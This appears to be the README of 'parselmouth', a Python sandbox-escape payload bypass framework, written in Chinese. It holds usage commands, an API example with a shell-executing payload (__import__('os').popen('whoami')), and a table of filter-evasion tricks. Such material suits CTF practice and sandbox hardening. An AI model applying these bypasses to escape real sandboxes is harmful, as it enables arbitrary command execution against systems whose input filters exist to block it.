一个自动化的 Python 沙箱逃逸 payload bypass 框架
- python 版本最好是 >= 3.10
- 安装依赖:
pip install -r requirements
- 获取帮助信息:
python parselmouth.py -h
- 指定 payload 与 rule:
python parselmouth.py --payload "__import__('os').popen('whoami').read()" --rule "__" "." "'" '"' "read" "chr"
- 可以通过
--specify-bypass
指定 bypass function 的黑白名单;例如如果不希望 int 通过 unicode 字符的规范化进行 bypass,可以指定参数:--specify-bypass '{"black": {"Bypass_Int": ["by_unicode"]}}'
--ensure-min
:寻找最小的 exp- 通过指定参数
-v
可以增加输出的信息;通过-vv
可以输出 debug 信息,但通常是不需要的
在定制化 bypass 函数之后,如果想做测试,可以将测试的 payload 和 rule 放在 run_test.py
里面,然后通过 python run_test.py
进行测试
import parselmouth as p9h
p9h.BLACK_CHAR = [".", "'", '"', "chr", "dict"]
runner = p9h.P9H(
"__import__('os').popen('whoami').read()",
specify_bypass_map={"black": {"Bypass_Name": ["by_unicode"]}},
ensure_min=True, versbose=0,
)
result = runner.visit()
status, c_result = p9h.color_check(result)
print(status, c_result, result)
p9h.P9H
关键参数解释:
source_code
: 需要 bypass 的 payloadspecify_bypass_map
: 指定 bypass function 的黑白名单;例如如果不希望变量名通过 unicode 字符的规范化进行 bypass,可以传参{"black": {"Bypass_Name": ["by_unicode"]}}
ensure_min
: 寻找最小的 expversbose
: 输出的详细程度(0
~3
)depth
: 通常情况下不需要使用这个参数;打印信息时所需要的缩进数量bypass_history
: 通常情况下不需要使用这个参数;用于缓存可以 bypass
和不可以 bypass
的已知情况,值示例{"success": {}, "failed": []}
在定制化之前,最好先阅读下这篇解释原理的文章以及 parselmouth.py
、bypass_tools.py
的主要代码
方法一:参考文章 传送门
方法二:
- 要新增一个 ast 类型的识别与处理,需要在
parselmouth.py
中的P9H
新增一个visit_
方法 - 如果希望通过与目标交互的方式进行 payload 检查,可以改写 check 方法,原则是如果检查通过返回空
[]
;如果检查不通过的话,最好是返回不通过的字符,如果条件有限,返回任意不为空的列表也可以 - 对已有的 ast 类型,需要新增不同的处理函数,则需要在
bypass_tools.py
中找到对应的 bypass 类型,并新增一个by_
开头的方法。同一个类下的 bypass 函数,使用顺序取决于对应类中定义的顺序,先被定义的函数会优先尝试进行 bypass
目前支持:
类 | 方法名 | payload | bypass | 解释说明 |
---|---|---|---|---|
Bypass_Int | by_trans | 0 |
len(()) |
|
Bypass_Int | by_bin | 10 |
0b1010 |
将数字转为二进制 |
Bypass_Int | by_hex | 10 |
0xa |
将数字转为十六进制 |
Bypass_Int | by_cal | 10 |
5*2 |
将数字转为算式 |
Bypass_Int | by_unicode | 10 |
int('𝟣𝟢') |
int + unicode 绕过 |
———— | ———— | ———— | ———— | ———— |
Bypass_String | by_empty_str | "" |
str() |
构造空字符串 |
Bypass_String | by_quote_trans | "macr0phag3" |
'macr0phag3' |
单双引号互相替换 |
Bypass_String | by_reverse | "macr0phag3" |
"3gahp0rcam"[::-1] |
字符串逆序绕过 |
Bypass_String | by_char | "macr0phag3" |
(chr(109) + chr(97) + chr(99) + chr(114) + chr(48) + chr(112) + chr(104) + chr(97) + chr(103) + chr(51)) |
char 绕过字符限制 |
Bypass_String | by_dict | "macr0phag3" |
list(dict(amacr0phag3=()))[0][1:] |
dict 绕过限制 |
Bypass_String | by_bytes_single | "macr0phag3" |
str(bytes([109]))[2] + str(bytes([97]))[2] + str(bytes([99]))[2] + str(bytes([114]))[2] + str(bytes([48]))[2] + str(bytes([112]))[2] + str(bytes([104]))[2] + str(bytes([97]))[2] + str(bytes([103]))[2] + str(bytes([51]))[2] |
bytes 绕过限制 |
Bypass_String | by_bytes_full | "macr0phag3" |
bytes([109, 97, 99, 114, 48, 112, 104, 97, 103, 51]) |
bytes 绕过限制 2 |
Bypass_String | by_join_map_str | "macr0phag3" |
str().join(map(chr, [109, 97, 99, 114, 48, 112, 104, 97, 103, 51])) |
format 绕过限制 2 |
Bypass_String | by_format | "macr0phag3" |
'{}{}{}{}{}{}{}{}{}{}'.format(chr(109), chr(97), chr(99), chr(114), chr(48), chr(112), chr(104), chr(97), chr(103), chr(51)) |
format 绕过限制 2 |
———— | ———— | ———— | ———— | ———— |
Bypass_Name | by_unicode | __import__ |
__import__ |
unicode 绕过 |
———— | ———— | ———— | ———— | ———— |
Bypass_Attribute | by_getattr | str.find |
getattr(str, 'find') |
unicode 绕过 |
———— | ———— | ———— | ———— | ———— |
Bypass_Keyword | by_unicode | str(object=1) |
str(ᵒbject=1) |
unicode 绕过 |
以及上述所有方法的组合 bypass。
如果在使用的过程中发现有比较好用的 bypass 手法,或者任何问题都可以提交 issue :D